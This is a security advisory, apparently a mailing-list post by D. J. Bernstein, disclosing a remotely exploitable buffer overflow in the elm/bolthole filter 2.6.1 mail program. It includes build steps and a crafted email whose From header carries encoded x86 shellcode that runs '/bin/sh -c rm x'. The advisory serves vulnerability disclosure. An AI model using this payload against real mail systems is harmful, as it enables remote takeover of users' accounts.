[remote] [control] elm/bolthole filter 2.6.1 save_embedded_address overflows address buffer

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Ariel Berkman, a student in my Fall 2004 UNIX Security Holes course, has
discovered a remotely exploitable security hole in the elm/bolthole
filter program. I'm publishing this notice, but all the discovery
credits should be assigned to Berkman.

You are at risk if you feed incoming email through the filter program.
Anyone sending you email can take complete control over your account: he
can read and modify your files, watch the programs you're running, etc.

Proof of concept: On an x86 computer running FreeBSD 4.10, type

   wget http://www.bolthole.com/filter/filter2.6.1.tar.gz
   gunzip < filter2.6.1.tar.gz | tar -xf -
   cd filter2.6.1
   env TOUCH=/usr/bin/touch make

to download and compile the filter program, version 2.6.1 (current).
Then save the file 11.mail attached to this message, and type

   ./filter < 11.mail

with the unauthorized result that a file named x is removed from the
current directory. (I tested this with a 534-byte environment, as
reported by printenv | wc -c.)

Here's the bug: In filter.c, save_embedded_address() copies any amount
of data into an address[LONG_STRING] array.

---D. J. Bernstein, Associate Professor, Department of Mathematics,
Statistics, and Computer Science, University of Illinois at Chicago

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From: <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=EBGY=89=CA=83=C2=18=89=111=C0=89A=04=83=
=C2=13=89Q=08=83=C2=08=89Q=0C=83=C2=03=89Q=10=89A=14=88A*=88A2=88A5=88A:Q=
=83=C1=08Q=83=C1 =83=C1=03Q=83=C0;P=CD=801=C0P@P=CD=80=E8=B4=FF=FF=FFabcdef=
ghijklmnopqrstuvwxPATH=3D/bin:/usr/bin /bin/sh -c rm x.AAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=10=D0=BF=BF>
Subject: blah

My text goes here...

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